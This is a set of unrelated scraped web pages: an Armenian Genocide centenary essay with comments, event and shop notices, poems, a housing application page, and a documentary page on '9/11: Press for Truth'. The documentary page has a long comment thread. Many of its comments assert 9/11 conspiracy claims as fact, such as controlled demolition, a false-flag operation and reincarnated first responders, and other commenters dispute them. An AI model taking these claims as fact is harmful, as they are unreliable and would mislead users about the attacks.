One hundred years and the atrocities cannot and will not be forgotten. The painful horrific memories of mistreatment through humiliation and shame, through violation of body and soul, of starvation, torture, and the stench of death that is imbedded in the veins of every survivor of the 1.5 million Armenians whose massacres turned the Euphrates river into blood red and whose ashes and bones enriched the soils of the cities along their path, live in all who have fed off the land and drank the waters. We grow stronger, not weaker, guided by our faith in our Christian heritage. One hundred years, and the echo of the Lord’s Prayer in Armenian resounds through the walls of the Vatican and in union with the tintinnabulation of the bells that ring for justice and peace. We are 100 times stronger, 100 times more credible, with 100 times the allies who speak the truth and with 100 times more integrity than one Turkish government that fears the truth.
One hundred years: Unimpaired strength.
6 Responses to 100 Years Strong
1. colette says:
I was just listening to an interview on NPR with Fatma Muge Cocek (a Turkish professor of sociology and women’s studies at the University of Michigan and a close friend to Hrant Dink) talk about the Armenian Genocide… and long story short she was saying that by recognizing the genocide, you let the people who are hurting, start to heal. I thought that was an amazing insight and now reading your essay, the part where you’re saying “But what struck me was the idea that denial by the perpetrator of a crime committed only serves to strengthen the plight and cause of the “victim/plaintiff.”, I thought that was quite an insight too. Great essay Silva, very touching!
• Cocek is correct. Healing takes place when the perpetrator admits the wrongdoing. The healing for the Jews started when Germany apologized for the wrongs of the past. But until that time we can only push further our hurt into demanding recognition by Turkey. Love your comments, Colette!
2. Vahe Barsoum says:
Speechless, so well put, I’ve linked this on my Facebook page, and am placing a screen shot of the excellent writeup there too.
3. yeran says:
Kritcht talar, Silva!
You are so right. Our strength keeps growing. We experience it every day – the unprecedented experience at the Vatican, the wonderful ecumenical memorial at the Los Angeles Cathedral last night, our hymns and church leaders being heard all over the world in our own living language, the empowering presence and words of support by church leaders and politicians at every event, our unified attendance, the parliaments of Chile and Czech Republic recognizing the Armenian Genocide yesterday. The deniers’ list is getting smaller, and our soon to be sainted martyrs keep smiling from above. God bless all that fight for peace and justice.
• Yes, Yeran, the more the world officially recognizes the first Genocide of the Century, the more Turkey will portray its contra humanity to the eyes of the world. The colors of their obstinate dishonesty will show brighter next to the colors of truth seekers.
Leave a Reply
WordPress.com Logo
Google photo
Twitter picture
Facebook photo
Connecting to %s |
global_01_local_0_shard_00002368_processed.jsonl/53869 | Please, accept cookies in order to load the content.
Before Thursday Night Live! you can grab a bite to eat with the speakers and staff of Het Nieuwe Instituut. From 18:00 Het Nieuwe Café will serve a light vegetarian meal. Dinner vouchers are available for € 7,70 up to a day before the particular Thursday Night event via the Tickets link on the page of each Thursday Night event.
Thursday Night at Het Nieuwe Instituut
Luca Napoli
|
global_01_local_0_shard_00002368_processed.jsonl/53871 | Tiddleywink Vintage: The Location
not yet the Tiddleywink Vintage Shoppette
Ooooh, ooooh, newsy and exciting! The lease isn’t signed yet so I don’t want to divulge specific details, but it’s pretty safe to say that by the end of this month the wee space shown here will have been vacated and replaced with a Tiddleywink Vintage shoppette. The online stores will both remain open, this is merely an expansion to cater to local customers who want to see things in person, as well as give me a place to sell items which are too fragile or heavy to ship for a reasonable price. ::coughRACCOONCOATcough:: As a bonus to me, it will get a selection of inventory out of my house!
The space is a mere 8′ wide by 2′ deep, but it has better foot traffic than a larger space I looked at today. I won’t have room for more than a clothing rack (approx. 52″ wide) and something like a bookshelf next to it to fill with Pyrex and other non-hanging items. There are so many pegboard accessories on the market right now, I could definitely utilize the space in an assortment of ways. I’m open to suggestion! What do you think?
2 Replies to “Tiddleywink Vintage: The Location”
Leave a Reply
WordPress.com Logo
Google photo
Twitter picture
Facebook photo
Connecting to %s |
global_01_local_0_shard_00002368_processed.jsonl/53875 | Tinier than a man can see
I had thought light and then dust
was my enemy, but then I saw the mold,
spores of it skipping from the window to the shelf
to the tops of the books below.
These freckles I bleached.
Till I dreamt of them, swirling.
Not for fear but love did I dream –
for he in whom the cancer had spread –
of microbursts and a metastatic sky.
We used to speak of the thingification
of grace, which was a bad thing,
but now I think love,
to use its proper name,
is indeed a stuff,
weightless and invisible,
we can get our hands on.
It’s from where everything always is
and is flowing,
if we let it,
through us to all the rest
to give us and it
Better this theology,
wrong as it may be,
than me and my will
manning up
to obey the law repeatedly.
Blue-eyed Wayne
I guess the idea there
was that if I met a student,
a seminarian,
of the Princeton Theological Seminary,
I’d see you could be that
and whatever came after
(a minister, a priest?)
and still have sex
or get married or both
and maybe she was suggesting
one of those for us,
though I doubt it now.
Wayne was friendly enough.
I’d like to know what I asked him,
since I didn’t know why
I was meeting him.
Mostly I was just in love with a girl –
and tennis and gin,
and a quarter-cut lime mixed with
theological ideas. |
global_01_local_0_shard_00002368_processed.jsonl/53882 | How to Apply
2020 Spring How to Apply
Please follow the Application Guideline below and submit the application documents by post or email.
International Students Application period for 2020 Spring
February 26th (Wed) to March 10th (Tues) 17:30
※ Submitting an application does not guarantee a room reservation. Tenants are selected by drawing. For details, please refer to the application guidelines below.
Researcher Applications accepted at any time
Application Documents
International Student |
global_01_local_0_shard_00002368_processed.jsonl/53888 | 9/11: Press For Truth
2006, 9/11 - 77 Comments
Ratings: 8.31/10 from 61 users.
9/11 Press For Truth9/11: Press for Truth follows three of the Jersey Girls (widows of individuals killed in the attacks) as well as other family members in their search for answers about what really happened on 9/11.
Among their questions were: Why had NORAD failed to protect the known terrorist targets, the World Trade Center and the Pentagon? Why did the World Trade Center Towers, including Building 7, completely collapse when no other steel-framed skyscraper had ever previously totally collapsed due to fire? Why did George W Bush stay in a Florida classroom for over 10 minutes after he had been told that the second Tower had been hit?
The film uses archive news footage, press conferences and newspaper clippings to document the unwillingness of the George W. Bush administration to provide answers to the families' questions or support a full independent investigation. It also shows how the mainstream media avoided asking the politicians the toughest questions. (Excerpt from Wikipedia)
More great documentaries
77 Comments / User Reviews
1. John Lanni
Sad to see the infighting here, so I won't comment or reply. I will leave a brief statement. The 911 Commission was an admitted farce and building 7 proves exactly what they already know. It is a farce. There never was a real investigation other the the Commission Report, an admitted farce. To save any argument over what I believe, the events of 911 were at the very least covered up and there was a strong desire to keep facts from the American people.
2. Barry G
I feel very sad that the people who most needed answers have not received everything required nor the best our government can do. I know if I ever meet you and realize who you are if I can do anything at all to help you I will do it. It is nothing for me to do my very best as a fellow American to help you out.
As for the conspiracy or not I have my opinion which will remain mine. I did appreciate the information in the documentary. Thanks.
3. richard
''Everybody '' not only have 9-11 very wrong but the most unbelivable of all things about the 9-11 saga is how really close ,some of the wisest 9-11 truther and investigators, were from discovering the real 9-11 truth, i think that they center to much in the WTC COMPLEX,F.77,and the how they were available to hijack and crash those birds instead of trying to figure out what the gov.was trying to massively cover up aboutthe ''real " 9-11 conspiracy .text me and i ll give you some of the answers.
4. LiZard
80% of American people believe is an inside job. Like Vietnam, Bay of Pigs Invasion, Iraq, Afghanistan, Pearl Harbor the stage was set, the strings were pulled and chaos delivered. Why? Because America lives on the gun factories. America's war history had a huge part in the shaping of America, its culture, and its people. And this War history was not short. Since the very beginning there is a conflict because the people that pull the strings are behind these wars. Nevertheless the 9/11 was no short of them. And 9/11 was the 'big thing' they wanted. Together with theIR media and people's grief their plans were executed. I think the twin towers were the first buildings to collapse (free fall) while burning. Whats more interesting is that the buildings (steel structure) were hit right on top not bottom of their structure. It's understandable for a building to fall if its hit at the bottom..And what about building number 7? And Bush's face when journalists asked him about 'The Commission'?? And why not go public with 'The Commission'? And the biggest joke of all is a few years down the line they (with Tony Blair) admitting of lying of WMD..
5. Angus Falconer
It appears USA is heading down the path of totalitarianism/dictatorship. Under the guise of Patriotism come Capitalism.
6. manfruss
I don't know the truth of 9/11. I suspect it will fall somewhere between the serious conspiracies, and the "official" version. What I find tragic, is the response and priorities. Haiti had an earth quake that destroyed their country. Asia experienced the worst Tsunami in recorded history, hundreds of thousands dead. Japan and their Fukushima tsunami.
It seems like more action has been taken over the incident of 9/11 than all these other issued combined. If we put half as much resources into working together as we do fighting each other, heaven on earth would exist. Or as close as we can get it! ;)
7. Jim Richardson
My take on the 9-11 atrocity, as with Pearl Harbor, is that it worked! It worked to get America into yet another (or a continuing) war BECAUSE the planners of these "incidents" know that there has always been and always will be PLENTY of ppl willing and eager to go to battle with the LATEST enemy the secret Rulers put before them. It's Cosmic Codependency and as long as there is a Warrior Class to match the Ruling Class, such murderous incidents will continue to take place and the wars will continue to go on and on and on. Our next "enemy" will most likely be Aliens from outer space! That should enrich the Ruling Class to the max - so long as the Warrior Class remains available and eager to cooperate. Innocent bystanders get hurt but SO WHAT? The two "classes" must & will have their sinister drama.
1. batvette
"secret rulers"? And that is whom, the Lizard shapeshifter race?
The problem with such theories of a megalomaniac like "ruling class" pulling all the strings behind the scenes is they would still have to be in agreement with what their goals were and megalomaniacs don't play well with others.
Napolean would be a good example. You and people holding these beliefs would have us believe a dozen Napoleans in various places on earth, descended from families of generations of Napoleans, could all get along well enough to work together controlling human destiny.
No that's doubtful as they'd have these Robert Wykes types who have all the charm of a porcupine to contend with. You couldn't even stand to be in the room with such anti-social incompetence, much less agree with how to control mankind.
2. Nothing_Is_Real
I agree with what you are saying. Pearl Harbor, Kenedy Brothers, Martin Luther King and now WTC is a fine example of people willing to look the other way and be lead by the same people that created the terror. It is not a secret rulers it is the rich and powerful getting richer and more powerful. I found out something very surprising to me our government officials, at some of the top positions are actually citizens of other countries with dual citizenships that in itself is by all means traitorous at least. One of the head investigators on 911 comm. was a dual and has ties to Massad an Isreali Mob Org. Never mind the steal and the buildings look at the money trail.
8. noconman
Sadly I say, my hearts goes out to all the victims of 9/11. But we are all victims in many ways.
To much time has passed and there will be no justice for the real criminals who planned and or allowed this to happen.
If you have supported the official stories and media brainwashing then you have been yet another victim. With so many conflicting stories, blatent lies, missing testimonies, lack of evidence and denial of the laws of physics, anyone with any heart or compasion would support a real and unbiased investigation for the sake of us all.
I am afraid it is to late for our generation to expose the truth. It will take time for the truth to come out, as was the case for JFK and other lies our government has told us. But the damage is done.
Just know that if you stand against asking valid questions and slander people like me, with media driven titles, meant to be an insult, such as "truther" or "conspiracy theorist" then you are part of the problem. You either don't want to hear the truth, or can't handle the truth. You would rather let our government protect you from it somehow.
As for me, it is not an insult to want the truth to be told, I will wear the title proudly. As for my theory, that conspiracies absolutely do exist in all aspects of life? Well now, why don't the ones of you who don't believe that, all get together and prove me wrong. LOL
1. batvette
You people really are full of yourselves, aren't you? The fact is every one of your questions has an answer out there but you dismiss them because they aren't what you wanted to hear or were so pointless no possible answer could ever be given, and that was likely by intent. You're not interested in answers to your questions, just amusing yourselves at being a PITA asking them.The one credible poll on the matter showed that 6% of Americans believed 9/11 was an inside job.
No, the other 94% of us aren't part of the problem. Unless one considers laughing at people so detached from reality they mistake ignorance for enlightenment, a problem.
Rather than leave this reply without any substance other than ridiculing yours, I'll state this:
It's very telling that the one thing the conspiracy theorists have never attempted, is a point by point rebuttal to the NIST's exhaustive report on the structural failure analysis of the WTC. That's really the only scientifically valid approach to this they could take, is to offer an alternative hypothesis to the prevailing theory- yet they won't go near it, merely "asking questions".
Thus marginalizing their movement forever, to posting nonsense on internet message boards and facing scorn and contempt from any of the relevant professional arenas where serious attention would ever be given to the issue.
The scientific method demands you not merely mock a prevailing theory or try and poke a few holes in it, but offer an alternative to be held to the same light of scrutiny, and gain consensus.
Conspiracy theorists can't even get out of the gate on that one.
2. Robert Wykes
You still harassing people who are smarter than you pup? Take your flag waving views and go to facebook where you may find friends boy. I am sick and tired of having to deal with your ignorance and s^upidity. I personally ignore your posts and do not even attempt any real debate with you only because of your adolescent, condescending, parroting of nonsense. I have told you before to not bother commenting to me, but like a schoolyard bully, you insist on repeating your illogical and BS "theories" that are against the physics and opinions of thousands of real and honest experts who do not agree with the few so called "government paid" experts who defend the ridiculous conspiracy theory that our blatantly corrupt and foreign controlled puppet leaders who control our country and their propaganda machine fed us.
So, one last time boy, you are laughable, irritating, and must be on drugs. Get some help, stop drinking the Kool-aid your sponsors are giving you, grow up,and leave me the h^ll alone.
3. batvette
That was special. I wasn't even replying to you and you say leave me the h*** alone? In fact scrolling down this page I not only don't see any replies by me to you, this is your first post in this doc's comments! So how can you justify this nonsensical rant? The one on drugs here is not me.
4. LiZard
5. batvette
"Get your facts right Mr. 80% of American people believe is an inside job."
You're lying.
6. Elder raver
Just saw this now, I saw a programme broadcast on BBC,an English station, the news anchor reported live that building 7 had collapsed... 20 minutes before the collapse, in fact you can see the building over her shoulder!
7. batvette
Dewey Wins! Besides city building engineers sighted up the building with a transit several hours earlier and declared the building was in trouble and was going to collapse. The fire dept officials circulated that news to everyone for safety reasons.
9. Charf Makios
really hard to look
10. joe31
too much too little to late
11. joe31
hold up the mirror ,to the government or looking glass.the only terrorist we have to fear is those running the show,the only the weapons of mass destruction is the miltary complex,that set up and promote these wars,I feel for the sacraficial lambs and first reponders,and it could be anyone anytime,this is mass treason...more the a million people have died all togerther in the world,for what again.whos money was misused and stolen and who profitted,were working for them not them working for us.
12. Tim Fuller
No reason to get distracted by all the minutia when we have molten pools of metal in the sub-basements of all these buildings along with video evidence of the controlled demolitions. I'll stick to the physics.
All else is just chatter to distract IMHO.
13. oddsrhuge
As this Documentary, is the one that moves me the most...I need to say:
I would like to honour the families of this tragic day, by giving them a new investigation.
And at the conclusion, we cannot sit still when the media, so therefore, society, indict some poor patsy, offered up as the conclusion of the event.
But guess what? This will be a NEW distraction from the truth and then we can argue "AGAIN" about the verdict!!!!!!!
Sigh, once more
14. Draw Vinette
I feel very sorry for these 4 women who lost their husbands on the domestic 911 terror attacks on the World Trade Center Towers and the Pentagon. A very good documentary on this site that explains many of the reasons behind the 911 domestic terrorists is called "Loose Change Final Edition".
As many people in the United States are now aware, the 911 domestic terrorist attacks, were a False Flag United States Government operation. This is why the White House did not want the 911 events thoroughly investigated.
When former President Bush makes the statement that he will go after the terrorists and the country that harbours them he already knew that his administration was the perpetrator and that the domestic terrorists were being harboured by the United States.
The twin World Trade Center Towers fell so quickly because they were a planned demolition event. World Trade Center Tower 7 was also a planned demolition event because it contained incriminating evidence against numerous Wall Street Bankers that had manipulated the Wall Street run-up from 1998 to 2000. This evidence had to be destroyed.
Why would the United States government and the Bush Administration want to create a False Flag event to enrage the American people and others around the world?
From a Peak Oil Perspective the United States government needed to secure a land route through Afghanistan for an oil and natural gas pipeline. Negotiations with the Taliban had failed to secure a safe route and so military action would be required. The oil and natural gas pipeline would transport oil and natural gas from Turkmenistan on the Caspian Sea, through Afghanistan, through Pakistan to the Arabian Sea where it would be loaded onto freighters headed to the United States.
Iraq was also falsely accused of being part of 911 and a whole stage show was presented about the the Weapons of Mass Destruction in Iraq. The military objective in Iraq was to attack, invade and seize the oil fields and return their control back to western oil companies.
The False Flag operation was a complete success. There were numerous financial rewards as well, in addition to the military objectives that would secure more oil for the United States.
Unfortunately the 911 domestic terrorist attacks not only took 2,923 lives in the World Trade Center Towers, the air in New York City was poisoned and between 8,000 and 10,000 emergency workers and New Yorkers became very ill with many dying a few years after the event.
What makes this tragedy even worse is that the Bush Administration was aware of the toxic air and completely failed to warn the people of New York City. New York City should have been evacuated after the towers collapsed.
Since the events of 911 some very interesting stories have begun to emerge of young children just learning how to talk (3 years old) and telling stories of how they had been first responders. The spirits of those first responders to 911 are now being reborn to continue on their lives. Past Lives of Children.
15. kamakaze
Another thing, to Colin... Sorry it took me so long to reply, believe me I would have replied a lot sooner except for the fact that it did not show up in my disqus account. In fact, my disqus account now says that no one has ever replied to me, even though numerous people have and even Colin's first response to me was there fairly recently. Has this happened to anyone else??
16. kamakaze
OK, so my comment about my comment needing approval did not need approval and went right through. So some of my comments need approval and some do not. Vlatko how does it judge which comments need approval and which do not. Vlatko, I seriously want some answers please. Really, I think it is utter BS and nonsense to an extend I could not do justice in explaining.
1. Achems_Razor
Please read the comment policy above, when you put on a link it has to be approved.
2. kamakaze
Thanks for taking the time to tell me this..... lol, maybe i should have read the comment policy
17. Christian Klinckwort Guerrero
g. W. Bush, you learned a lot from Reagan, acting
18. Christian Klinckwort Guerrero
G. W, Bush; If I want to describe stupidity, I only have to show a picture of you....
19. Colin Doran
9/11 was supposed to be a big false flag operation. A false flag operation is where you frame someone for a crime they didn't commit to give yourself a pretext for attacking them. You say that the FBI did not blame OBL for the 9/11 attacks- how can that be presented as evidence that 9/11 was a false flag operation designed to put the blame Osama bin Laden? It suggests the opposite is the case, and for all the reasons I said previously it's clear why he hadn't been specifically indicted for 9/11.
"There are tapes of the calls to NORAD where the person calling from Boston says "we have a hijacked plane and need to send some fighter jets" the person answering said "is this real world or exercise". So these exercises left everyone extremely confused and rendered our defense capabilities immobile."
The rest of that conversation is "No this is not an exercise, not a drill.." The controller now knows it is not an exercise. It is a question that would be asked at any time,on any day to confirm if there was an exercise, or an actual emergency, whether there were other exercises going on or not. It's a question that would always be asked. The response from the military to this call was to get planes into the air within 20 minutes. They didn't think it was an exercise. None of the exercises on 9/11 affected the response to the attacks - the number of aircraft available to respond was not affected and the numbers of people available was higher than it would have been if exercises had not been going on.
The exercise you refer to on 7/7 was a paper exercise being held for a company ,in a meeting room, by a security consultant who was presenting a scenario about how the company would respond to a series of terrorist attacks. They didn't go outside the room. The emergency services were not involved and were not even aware of it. We only know about it because the consultant was interviewed on TV and mentioned it. It did not affect the emergency response to the incidents.
Have you ever seen an interview with any of the hijackers who are still alive? There have been all kinds of truth conferences and hearings where people like David Ray Griffin stand up and say "the hijackers are still alive!". Why are they not invited to these conferences, to prove that they are still alive? Why hasn't anyone even just done an interview with them, proving that they are still alive? It is far easier to prove that someone is still alive than to prove that they are dead - someone who says the hijackers are still alive should be able to back that up by producing them or producing just a simple interview. Of course if they are still alive it would mean they were not the hijackers. It would also mean that after a big complex operation to fake a suicide attack, the named individuals who were going to be blamed for carrying it out were still alive- ten years later!
If you look into the things you label as facts about the hijackers you will find they are far from being facts.
The twin towers were not made from reinforced concrete, which is one of the reasons they collapsed. Saying that because something has not happened before that therefore it can never happen is not logical. Everything that has ever happened had to happen for the first time. When the WTC north tower collapsed there was a previous example of a similar building collapsing in an exactly similar way ,after suffering almost identical damage. The firefighters at the scene judged the condition of WTC7 and concluded that it's collapse was just a matter of time.
All of the documentaries you mention are putting forward a one-sided version of events with only the evidence that supports this one-sided version and more importantly , interpretations of evidence that supports it. When someone does that it goes without saying that there is evidence that contradicts what they are saying, that they are not telling you about, just like a prosecutor in a court case will not present evidence that supports the defence case. The interpretations of the evidence are then based on this one-sided version of events. If juries in court cases retired to the jury room after the prosecution case, without listening to defence case, their verdicts would be a foregone conclusion.
20. kamakaze
why is this site taking my comments down now? I merely asked if everyones comments needed approval because one of mine did need approval for w/e reason. So i commented and asked, which to my surprise that comment went straight through and I saw it posted. Now all of a sudden it is gone but my other comment got approved. WTF DO NOT TAKE MY COMMENTS DOWN, THEY ARE NOT BAD OR SAYING ANYTHING AT ALL THAT DESERVES TO BE TAKEN DOWN. Why are you afraid to let everyone know what is going on? I would really like an answer Vlatko and would really appreciate it if my comments do not need approval and would not be taken down when they say nothing wrong or offensive.
21. Thang Tran
You know your dealing with a movement of liars when they call themselves "Truthers."
22. Pete Leclair
As this video makes me angrier and angrier I blame the media and the fox news network for the info that they had and are told to shut up and report what is on the teletype if u know what is good for u. When I watch in disbelief the answers that The B gives I want to yell and say u are a person of interest and we will make no distinction between the terrorists and those who harbour them especially on that fatefull day when The D is asked there are planes heading towards the Capital, " SIR " Should we let Norad scramble the AIR FORCE to intercept.> Answer.Has anything changed from the last time u asked? Yes they are nearing the Capital SIR. There was no response and that was the plane that crashed into the PENTAGON. The lies are Blatant and almost to the point where they are caught in the act but will look at u and "say what are u going to do about it?" This is happening over and over as the years go buy.When I watched the speeches from both current and former Leaders,My skin was crawling as the former was giving a sample taken from a true American Abraham Lincoln and the words he used to help comfort a woman who had lost five of her sons during the civil war. Where does this former B get the balls to use someone elses letter? What he cant think of his own? If i was the leader and truly hurt by what happened to my citicens 10 years ago I would have a hard time picking my own speech because if their is any pain or guilt there would be a whole collection of notes I would need to go threw in order to reassure my people that this has really hurt me.Not use the words of a true American and his heart felt sympathy towards a mother of five.We are talking about nearly three thousand people and the tens of thousands of families not five sons.It is clear and obvious that what happened on that day and the days after was the biggest insurance and murder plot all at once.Does anyone know that the first B in tyhe whitehouse has been friends with the Saudis for the past 60 years and that The Bin Laden family has had many many visits with the B family. As For the self absorbed D.C His role as well as the Donald Rumsfeld and many others are all complacant with what happened and as ten years has passed many will question my judgement with what I have type here, Well i dont care what your [point of view is if you are going to defend these evil self absorbed liers,This is a crime of Treason and it is not just the U>S>A. There are much bigger players who are footing the insurance money to keep people Quiet and for those who get to close we never hear from them again.On the Tenth anniversary,Where was the former V.P,Rumsfeld,Rice. They were told to stay home because many are blaming those three for the incompetence and the powers they once had only to let it happen in the name of MONEY, For those who agree with what i say this is just a small example of the scenario I have watched and read and caught the lies right in front of the Cameras,The reason nothing is being done in the name of justice and liberty is because there is a much more serious agenda on the minds of the players who pass the buck and hide in the shadows.Seems like a dream right.WAKE-UP AMERICA. Your Government is lying to you and if the middle East can revolt,then why cant u for those who were murdered.Powerless In CANADA
1. Rolando Ulises Parra
Most or many of the most popular "news" agencies/organizations/etc...not only Fox. But Fox news for sure as well.
23. Sarah Jane Ubel
Not all of us in support of this video think that the American government supported or even orchestrated the 9/11 attack on America. A lot of us just believe that the government has done a terrible job dealing with the repercussions of the event, and our key public leaders have not served as a truthful source of information to the grieving world. That is where we take issue.
1. Thang Tran
Has there been a terrorist attack on the U. S. by middle eastern extremists? They maybe incompetent but they can at least kill the right people.
24. Liebewitz
give them fiction.
Seek the truth -in the USA and -across the world
car bombs were planted by Loyalist paramilitaries in several rush-hour
personnel and equipment from several British sources Special Forces; MI6 et
al. .
pre-empted similarly hideous events that followed in Britain.
more anon
Maurice Aherne
How do we know-they have weapons?
we have the receipts---
Sadly the same-is evident for neighbours in the UK.
Panem et Circenses- - bread and circuses
...Here! Buy this commodity- you need!
-while we show you sport and musak-and
Give your minds a holiday!
25. Harrison Settle
people say OMG no steel structure has ever collapsed from a fire before! so it must be a conspiracy right? oh wait, i forgot, 2 mother f--kin planes (HuGe commercial jetliners) with THOUSANDS of gallons of jet fuel crashed right in the center of them. These flames burn much much hotter than your ordinary fire, thus creating the weakening of support beams and etc. I definitely believe the words of structural engineers and other people with degrees and actual FACTS over the words of conspiracy theory lunatics who have only their feelings and political views to back up their arguments. i dont trust the government, but to think they would do this is ridiculous. people say we did it to have excuses to go steal more countrys' lands. Seriously? who the F**k wants to take over afghanistan? economically there would be no gains. im very proud to be american, but its sad that some americans represent our country so poorly.
1. oddsrhuge
"Jet fuel" as has been pointed out many times by countless people in hundreds of documentaries, blogs, scientific papers, etc etc ad nauseum... is for all intents and purposes, kerosene. So most of the (THOUSANDS) of gallons was consumed in the fireball created by the initial impact. Take a look at the videos from the 2004 Madrid fire, 20 hours...what was left could still support a construction crane. And the Twin Towers, were "Modern Construction Miracles" until 911 when they turned to dust, fire can't do that...but, keep hanging on to your patriotism while you still have it.
2. Firstly
In the fire in Madrid all of the steel structure of the building collapsed. the central core that was encased in concrete didn't. The Madrid tower was not hit by a plane.
3. Guest
The impact of the planes, travelling at roughly 500 mph, knocked the fireproofing off of the support columns... This is one reason why such structural weakening occurred, along with the fact that there was much more to burn in those buildings than simply residual kerosene.
4. GoughLewis
@ Guest
Incorrect Guest. Structural steel does not melt from an office or kerosene fire... not hot enough, period.
Do you put kerosene on your barbecue to light your briquets, thinking that your barbecue is going to blow itself into metallic talcum powder, steaks and all, and pyroclastic flow all over your fresh cut lawn? Bang, bang, bang, bang, crack, crack, crack, crack....wooooosshh.
No you don't think that will happen, and the official fairy tale is as ridiculous. Seriously, I have know idea HOW this has been allowed to be gotten away with. Blatant is a word that comes to mind.
It's looking like an ole' school false flag operation to everyone who spends more than five minutes looking at the evidence.
NOTE @ Firstly
Not true, why would you say that. Anyone can look it up? Look it up everyone. Jezz buddy, thank god for the internets... oddsr is right on the money, go prove him wrong.
5. Thang Tran
Incorrect GoughLewis you don't need to melt steel.
Man this false flag operation argument doesn't work if you still support the CD theory.
6. batvette
That post is full of comedy! If fires from common office building contents were not hot enough to weaken structural steel to the point where the structure is threatened, then why does code require thick fireproofing on this steel?
Would love to see an answer for that.
7. Colin Doran
I think the main characteristic of the people in the truth movement, including the Architects and Engineers people, is that they are not trying to explain the collapse of the WTC buildings on 911. In order to be able to explain something the first requirement is that you are trying to explain it. They don't want to explain it. In fact they are actively trying not to explain it. No explanation is acceptable to them, unless of course it involves explosives, which is a non-explanation. It's 'we can't explain it , so it must be explosives'. It's the non-scientific and non-objective mindset that pervades the truth movement.
8. Emily
@Guest: the force necessary to knock the fireproofing off the central beams was calculated, compared with the force released from the crash (including the force necessary to crush the plane) and found to be lacking. Forget the fact that the commission concluded that an extra 25% load would have been transferred to beams that were designed to withstand an increase of over 2000%, yet the shifted load caused the "global collapse" of the towers. The reason educated, academic professionals have a problem with the results of all of the studies is that the math does not equate (even though they were performed using maximum, not actual, data.)
9. batvette
And you have significant numbers of these people in a qualified field who have come forward with dissent? Show us please.
AE911Truth represent about .1 percent in their professions, to save you some time if that is your answer.
Can you credibly document these figures?
10. VoxFox
Most professionals are more interested in keeping their jobs than using their own intelligence.
11. VoxFox
Facing the Truth would destroy the World-View of most Americans; it is too psychologically difficult.
12. oddsrhuge
Cheers Vox, I'm so glad that people are still awake. As you may have seen by my post, I gave up trying to go point by point through why the "Official Story" is absolute BS. But it became about as pleasant as hitting my head with a hammer repeatedly, because.....
it felt better when I stopped.
Does that make sense?
13. Shah Parves
I myself is very proud to be an Americans as well. But asking for revealing the truth, especially by the family members of the victims is not un-American. Just think about if your brother is killed on the street today, you have the right to know who killed you brother - either by another American or by some terrorist from another country. And whoever it is, I am sure you will like to know it and have the offender get punished under the law. And I am sure you will not be happy if the actual offender roam around free and an innocent person is put to jail for the crime. It is about finding the FACTS. I understand WTC 1 and WTC 2 were hit by the plane with thousands of gallons of jet fuel that caused them to collapse. What about WTC 7? No place crashed on WTC 7. What caused it to collapse?
14. Kain Blake
" I definitely believe the words of structural engineers and other people with degrees and actual FACTS over the words of conspiracy theory lunatics": look up architects & engineers for 9/11 truth.
15. Thang Tran
Sorry, I don't blindly believe in authority, yes, that includes the government.
16. kamakaze
watch fabled enemies first and then visit the architects and engineers for 9/11 truth's website or watch their video. These are not conspiracy theorists but as you say PEOPLE WITH DEGREES AND FACTS. Do some research before you start making ridiculous comments. You claim you don't trust the govt. but it sure seems you do, or maybe you're just not informed enough and believe the little bit of misinformation that has been spewed to you.
17. Thang Tran
They are conspiracy theorists with degrees get your facts straight.
18. kamakaze
First of all I was merely answering someone who claimed so called "conspiracy theorists" were all stupid people, who have no degree. If you want to call us all "consiracy theorist" with degrees then that is your choice. If you choose to listen to the government's version of everything and be a sheep, then that is also your choice. I think if you watch even a couple documentaries or take the time to do some research then you might have a different opinion. I will say this as I have said before, I do not want people to listen to me and I do not want people to listen to the government or anyone else for that matter, I want people to take the time, do their own research and formulate their own opinions based on their own research. I would recommend a couple documentaries which I think are valuable - Fabled Enemies is one, Fool Me Twice is another, (/11 Intercepted is another. Let me ask you this though and please reply - First, if you look at the FBI most wanted Osama Bin Laden why was he not wanted for the 9/11 attacks? Second, why was their so many war games going on on 9/11 which rendered our defense incapable of doing anything? Third, look at Norman Minetta the Transportation Secretary's testimony to the 9/11 commission, he was with Dick Cheney and said that while the plane was approaching the Pentagon someone kept saying to Cheney "the plane is 50 miles out", "the plane is 30 miles out", "the plane is 20 miles out", and then the person asked Cheney "do the orders still stand" to which Cheney replied "of course the orders still stand, did I say anything different", so what were those orders exactly? Unless you think Norman Minetta the Transportation Secretary is a liar. So go ahead and answer my questions, I would love to see your reply but I think you should check out some facts and do some research before you start with your nonsense.
19. Colin Doran
Why is it that people who say that 9/11 was a big false flag operation intended to blame Osama Bin Laden for the attacks, then look at the FBI site and say 'look they haven't blamed OBL for the attacks!'. If on the other hand the FBI site did name OBL they would be saying 'look they're trying to blame OBL for the attacks!' OBL is named in connection with other attacks and they say that further indictments would likely follow as evidence was produced. What it doesn't indicated is that the FBI or anyone else was fabricating evidence that OBL was involved because they would have just fabricated it. A lot of the evidence in the 9/11 commission report was obtained by waterboarding and duress and this would compromise the evidence obtained from the point of view of pursuing indictments.
1: Are terrorists not allowed to attack you when you are holding an exercise?
2: Did NORAD ever hold exercises before 9/11 ,when there were no terrorist attacks? So they held exercises when there were no attacks and they held exercises when there were terrorist attacks. I don't see a pattern there.
3: If you had to be sure there was not going to be a terrorist attack while you were holding an exercise , when would you ever hold an exercise?
The exercises on 9/11 had very little effect on the military response. There was nothing that anyone could have done about flight 11. Given the short time between that and the second plane there was no reasonable chance that anything could have been done to prevent that plane crashing. The attacks on the WTC towers could not have been reasonably prevented at all. That is where the majority of people died. The plane that hit the Pentagon went out of radar coverage for a long time and ATC couldn't track it. Shooting down the fourth plane would have made almost no difference except it might possibly have caused more deaths on the ground. Listening to people talking about 9/11 you would imagine there were 4 planes in the sky that day. There were four and a half thousand all of which had to be tracked and guided by airtraffic control.
I hear so many truthers talking about how the government are so callous and would think nothing of killing people etc. and then the same people talk glibly about intercepting planes and shooting them down, killing hundreds of people- all of course from the luxury of having years and years of studying and analysing reports and inteviews produced after the event, and knowing what planes were involved and where they were ,a luxury the people at the time didn't have.
Norman Minetta:
In Norman Minetta's book he says that as he arrived at the Whitehouse people were evacuating the building. The evacuation of the Whitehouse was ordered after the Pentagon was hit. Minetta said that when he arrived in the PEOC Mrs. Chaney was already there- she was brought to the Whitehouse after the Pentagon was struck.
There was an incident after 10 o'clock where someone came in a number of times announcing a plane approaching and Chaney reacting in the same way- it turned out to be a medical helicopter going to the Pentagon. In any case the only order that could be involved was an order to shoot down a plane - you don't need an order not to shoot it down- pilots don't go around with some kind of standing order to shoot down planes and have to be ordered not to, and have it repeated to them.
20. kamakaze
